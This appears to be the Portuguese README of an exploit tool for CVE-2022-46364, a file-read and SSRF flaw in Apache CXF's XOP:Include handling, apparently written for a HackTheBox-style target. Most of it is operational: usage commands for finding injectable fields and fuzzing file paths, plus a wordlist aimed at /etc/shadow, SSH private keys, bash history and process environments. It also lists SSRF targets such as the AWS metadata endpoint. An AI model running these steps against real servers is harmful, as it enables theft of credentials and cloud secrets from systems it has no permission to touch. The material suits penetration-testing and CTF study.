
CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI
Autor: 0xmid00
Vulnerabilidade: SSRF / Leitura de Arquivo Local via XOP:Include em requisições MTOM
Afetado: Apache CXF < 3.5.5 e < 3.4.10
O Apache CXF processa mensagens MTOM (Message Transmission Optimization Mechanism) que contêm elementos XOP:Include. O atributo href do XOP:Include deve referenciar um anexo dentro da mesma mensagem multiparte MTOM.
No entanto, em versões vulneráveis, o CXF seguirá qualquer URI fornecida em href, incluindo:
file:///etc/passwd → lê arquivos locais (LFI)http://127.0.0.1:PORT/ → testa serviços internos (SSRF)Um atacante só precisa enviar uma requisição SOAP com pelo menos um parâmetro de qualquer tipo para acionar isso.
pip install requests
python3 exploit.py -r request.txt [options]
Salve sua requisição HTTP bruta em um arquivo .txt exatamente como capturada (ex: do Burp):
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tns="http://devarea.htb/">
<soapenv:Body>
<tns:submitReport>
<arg0>
<confidential>false</confidential>
<content>test</content>
<department>IT</department>
<employeeName>john</employeeName>
</arg0>
</tns:submitReport>
</soapenv:Body>
</soapenv:Envelope>
O exploit converte automaticamente para o formato MTOM — você não precisa fazer isso manualmente.
python3 exploit.py -r request.txt --mode 1
Tenta injetar file:///etc/passwd em todos os elementos folha XML e reporta quais retornam conteúdo do arquivo.
python3 exploit.py -r request.txt --mode 1 --field content
python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt
Primeiro executa o Modo 1 para encontrar o campo injetável, depois testa todos os caminhos na wordlist através desse campo.
python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt
Ignora a detecção de campo e vai direto para o fuzzing.
python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog
Você também pode usar o SecLists:
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
<xop:Include href="file:///..."/>Para testar serviços HTTP internos em vez de ler arquivos:
python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/
Ou edite o valor de --read com qualquer URL interna:
--read http://169.254.169.254/latest/meta-data/ (metadados AWS)
--read http://127.0.0.1:3306/ (MySQL)
--read http://127.0.0.1:22/ (banner SSH)
Esta ferramenta é apenas para testes de penetração autorizados e desafios CTF. O autor não é responsável por qualquer uso indevido.
| Argumento | Descrição |
|---|
-r, --request | Caminho para o arquivo de requisição HTTP bruta (obrigatório) |
--mode 1 | Detectar automaticamente campos XML injetáveis usando /etc/passwd |
--mode 2 | Fuzzar uma wordlist de caminhos de arquivos |
--field NAME | Especificar o campo XML a ser injetado (ignora detecção automática) |
--wordlist PATH | Caminho para a wordlist de arquivos para o Modo 2 |
--read PATH | Ler um único arquivo específico |
-v, --verbose | Mostrar informações detalhadas da requisição |